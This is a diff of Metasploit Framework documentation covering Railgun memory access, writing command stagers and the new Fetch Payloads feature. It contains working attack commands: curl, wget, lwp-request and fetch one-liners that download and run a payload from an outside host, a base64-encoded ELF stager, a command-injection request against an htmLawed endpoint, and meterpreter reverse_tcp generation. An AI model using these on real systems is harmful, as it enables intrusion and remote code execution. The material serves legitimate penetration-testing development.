=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
|
||||
>> p.memory.allocate(1024)
|
||||
>> address = process.memory.allocate(1024)
|
||||
=> 5898240
|
||||
```
|
||||
|
||||
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
|
||||
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
|
||||
|
||||
```
|
||||
>> session.railgun.memwrite(5898240, "AAAA", 4)
|
||||
>> railgun.memwrite(address, "AAAA\x00".b)
|
||||
=> true
|
||||
```
|
||||
|
||||
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
|
||||
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
|
||||
|
||||
```
|
||||
>> session.railgun.memread(5898240, 4)
|
||||
>> railgun.memread(address, 4)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
|
||||
|
||||
### References:
|
||||
### Reading and Writing Strings
|
||||
|
||||
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
|
||||
|
||||
```
|
||||
>> railgun.util.read_string(address)
|
||||
=> "AAAA"
|
||||
```
|
||||
|
||||
## References:
|
||||
|
||||
- <https://www.youtube.com/watch?v=AniR-T0AnnI>
|
||||
- <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>
|
||||
@@ -144,3 +157,5 @@ Be aware that if you supply a bad pointer, you can cause an access violation and
|
||||
- <http://msdn.microsoft.com/en-us/library/aa383749>
|
||||
- <http://undocumented.ntinternals.net/>
|
||||
- <http://source.winehq.org/WineAPI/>
|
||||
|
||||
[kernel32!GetLastError]: https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
|
||||
|
||||
@@ -20,7 +20,7 @@ This may sound surprising, but sometimes we get asked questions that are already
|
||||
|
||||
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
|
||||
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
|
||||
|
||||
You can use the info command to see the module's description:
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
|
||||
|
||||
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
|
||||
|
||||
# The Vulnerability Test Case
|
||||
|
||||
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
|
||||
|
||||
**2. Declare your flavors**
|
||||
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
|
||||
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
|
||||
|
||||
An example of setting flavors for a specific target:
|
||||
|
||||
@@ -98,11 +98,32 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
|
||||
|
||||
**3. Create the execute_command method**
|
||||
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
|
||||
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
|
||||
```ruby
|
||||
def execute_command(cmd, _opts = {})
|
||||
populate_values if @sid.nil? || @token.nil?
|
||||
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri),
|
||||
'cookie' => 'sid=' + @sid,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => true,
|
||||
'vars_post' => {
|
||||
'token' => @token,
|
||||
'text' => cmd,
|
||||
'hhook' => 'exec',
|
||||
'sid' => @sid
|
||||
}
|
||||
})
|
||||
end
|
||||
```
|
||||
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
|
||||
|
||||
**4. Decide on the supported payloads**
|
||||
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
|
||||
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
|
||||
|
||||
Here is an example targets section from a command injection module:
|
||||
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
|
||||
|
||||
```
|
||||
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.
|
||||
|
||||
**4. Executing a payload**
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
|
||||
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
|
||||
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
|
||||
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
|
||||
|
||||
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
|
||||
end
|
||||
```
|
||||
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You don’t need to worry about encoding the payload in your ```execute_command``` method.
|
||||
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
|
||||
That’s it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
|
||||
|
||||
Over the years, we have also learned that these options are quite handy when calling
|
||||
`execute_cmdstager`:
|
||||
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
|
||||
# Flavors
|
||||
|
||||
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
|
||||
stagers you can use.
|
||||
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
|
||||
|
||||
Available flavors:
|
||||
|
||||
Flavors requiring the payload to be broken apart and embedded into the commands:
|
||||
* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
|
||||
* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
|
||||
* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
|
||||
* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
|
||||
* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
|
||||
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
Flavors that rely on using a command to retrieve the payload via network connection
|
||||
* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
|
||||
* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
|
||||
* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
|
||||
* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
|
||||
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
|
||||
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
|
||||
|
||||
|
||||
## VBS Command Stager - Windows Only
|
||||
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
|
||||
|
||||
## Certutil Command Stager - Windows Only
|
||||
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
|
||||
|
||||
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
|
||||
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
|
||||
|
||||
```bash
|
||||
echo -----BEGIN CERTIFICATE----- > encoded.txt
|
||||
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
|
||||
|
||||
**Linemax** minimum: 373
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
|
||||
|
||||
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
|
||||
```
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
|
||||
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
|
||||
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
|
||||
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
|
||||
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
|
||||
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
|
||||
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
|
||||
/tmp/XtMnQ.b64'"]
|
||||
```
|
||||
To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
|
||||
|
||||
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
|
||||
|
||||
```
|
||||
```bash
|
||||
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
|
||||
```
|
||||
|
||||
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
|
||||
|
||||
## cURL Command Stager - Multi Platform
|
||||
|
||||
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
|
||||
```
|
||||
To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
|
||||
|
||||
## wget Command Stager - Multi Platform
|
||||
|
||||
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
|
||||
```
|
||||
|
||||
To use the wget stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
|
||||
|
||||
## LWP Request Command Stager - Multi Platform
|
||||
|
||||
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
|
||||
|
||||
```
|
||||
|
||||
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
|
||||
|
||||
## Fetch Command Stager - BSD Only
|
||||
|
||||
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
|
||||
|
||||
```bash
|
||||
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
|
||||
```
|
||||
To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
|
||||
|
||||
```ruby
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
# Fetch Payloads
|
||||
|
||||
## What Are Fetch Payloads?
|
||||
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
|
||||
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
|
||||
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
|
||||
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
|
||||
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
|
||||
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
|
||||
command injection or code execution vulnerability *and* a known binary with the ability to download and store
|
||||
a file.
|
||||
|
||||
## Terminology
|
||||
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
|
||||
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
|
||||
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
|
||||
cURL, or Certutil.
|
||||
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
|
||||
`Fetch Listener` - The server hosting the served payload.
|
||||
`Fetch Handler` - The same as `Fetch Listener`
|
||||
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
|
||||
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
|
||||
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
|
||||
|
||||
## Organization
|
||||
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
|
||||
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
|
||||
remote host to download the served payload prior to execution.
|
||||
|
||||
Here is the naming convention for fetch payloads:
|
||||
`<cmd>/<platform>/<fetch protocol>/served_payload`
|
||||
For example:
|
||||
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
|
||||
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
|
||||
2) Serve the above served payload on an HTTPS server
|
||||
3) Start a served payload handler for the served payload to call back to
|
||||
4) Generate a command to execute on a remote host that will download the served payload and run it.
|
||||
|
||||
|
||||
## A Simple Stand-Alone Example
|
||||
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
|
||||
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
|
||||
First, let's look at the payload in isolation:
|
||||
```msf
|
||||
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
|
||||
|
||||
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
|
||||
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
### Options
|
||||
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
|
||||
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
|
||||
into more details on the binaries later.
|
||||
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
|
||||
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
|
||||
`FETCH_SRVHOST` is the IP where the server will listen.
|
||||
`FETCH_SRVPORT` is the port where the server will listen.
|
||||
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
|
||||
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
|
||||
served payload is the same.
|
||||
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
|
||||
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
|
||||
|
||||
The remaining options will be the options available to you in the served payload; in this case our served payload is
|
||||
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
|
||||
payload, we would see different options.
|
||||
|
||||
### Generating the Fetch Payload
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
|
||||
FETCH_COMMAND => WGET
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
|
||||
FETCH_SRVHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
|
||||
FETCH_SRVPORT => 8000
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
|
||||
LHOST => 10.5.135.201
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
|
||||
LPORT => 4567
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
|
||||
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
You can see the fetch payload generated:
|
||||
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
|
||||
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
|
||||
|
||||
### Starting the Fetch Server
|
||||
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
|
||||
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
|
||||
started:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
|
||||
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
|
||||
[*] Payload Handler Started as Job 0
|
||||
[*] Fetch Handler listening on 10.5.135.201:8000
|
||||
[*] http server started
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4567
|
||||
```
|
||||
|
||||
### Fetch Handlers and Served Payload Handlers
|
||||
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
|
||||
`Jobs`, even though the Fetch Handler is listening:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
|
||||
|
||||
```
|
||||
Killing the Served Payload handler will kill the Fetch Handler as well:
|
||||
```msf
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
|
||||
[*] Stopping the following job(s): 0
|
||||
[*] Stopping job 0
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
|
||||
[*] exec: netstat -ant | grep 8000
|
||||
|
||||
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
|
||||
```
|
||||
|
||||
## Using Fetch Payloads on the Fly
|
||||
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
|
||||
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
|
||||
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
|
||||
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
|
||||
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
|
||||
|
||||
## Using it in an exploit
|
||||
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
|
||||
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
|
||||
